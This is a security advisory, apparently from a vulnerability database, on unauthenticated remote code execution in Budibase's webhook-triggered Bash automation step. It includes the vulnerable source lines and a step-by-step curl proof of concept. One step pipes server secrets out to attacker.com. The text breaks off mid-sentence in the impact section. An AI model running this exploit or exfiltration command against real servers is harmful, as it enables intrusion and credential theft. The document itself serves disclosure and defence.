Remote command execution In @budibase/server

Description

Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step ### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. ### Details Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13: typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) The webhook trigger endpoint is registered on publicRoutes with no authentication middleware. Any unauthenticated HTTP client can POST to this endpoint. Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26: typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString() The Bash automation step uses Handlebars template processing (processStringSync) on inputs.code, substituting values from the webhook request body into the shell command string before passing it to execSync(). Attack chain: HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTE_BASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" }) ↓ execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT Precondition: An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }}) This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks. Note on EXECUTE_BASH availability: The bash step is only registered when SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments: typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELF_HOSTED) { ACTION_IMPLS["EXECUTE_BASH"] = bash.run BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition } Webhook context flattening (why {{ trigger.cmd }} works): In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations the params.fields are spread directly into the trigger context: typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } } This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }} in the bash step template. ### PoC #### Environment Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE --- #### PHASE 1 — Admin Setup (performed once by legitimate admin) > Note: This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure. Step 1 — Authenticate as admin: bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "[email protected]", "password": "adminpassword" }' # {"message":"Login successful"} Step 2 — Create an application: bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }' # "appId": "app_dev_c999265f6f984e3aa986788723984cd5" APP_ID="app_dev_c999265f6f984e3aa986788723984cd5" Step 3 — Create automation with Webhook trigger + Bash step: bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger_1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bash_step_1", "name": "Bash Scripting", "stepId": "EXECUTE_BASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }' # "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... } AUTO_ID="au_b713759f83f64efda067e17b65545fce" Step 4 — Enable the automation (new automations start as disabled): bash # Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \ -H "x-budibase-app-id: $APP_ID") # Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ") curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "$UPDATED" Step 5 — Create webhook linked to the automation: bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTO_ID\" } }" # "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... } WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" Step 6 — Publish the app to production: bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \ -H "x-budibase-app-id: $APP_ID" # app_dev_c999265f... → app_c999265f... PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" --- #### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED) The attacker only needs the production app_id and webhook_id. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering Step 7 — Basic RCE — whoami/id: bash PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000" # NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}' # Output confirmed via container inspection or exfiltration. Step 8 — Exfiltrate all secrets: bash curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}' Confirmed secrets leaked (no auth): JWT_SECRET=testsecret API_ENCRYPTION_KEY=testsecret COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984 REDIS_PASSWORD=budibase REDIS_URL=redis-service:6379 MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase INTERNAL_API_KEY=budibase LITELLM_MASTER_KEY=budibase ### Impact - Who is affected: All self-hosted Budibase deployments (SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. - What can an attacker do: - Execute arbitrary OS commands as root inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions
FLAT-1Y1R3 – Vulnerability | Fluid Attacks Database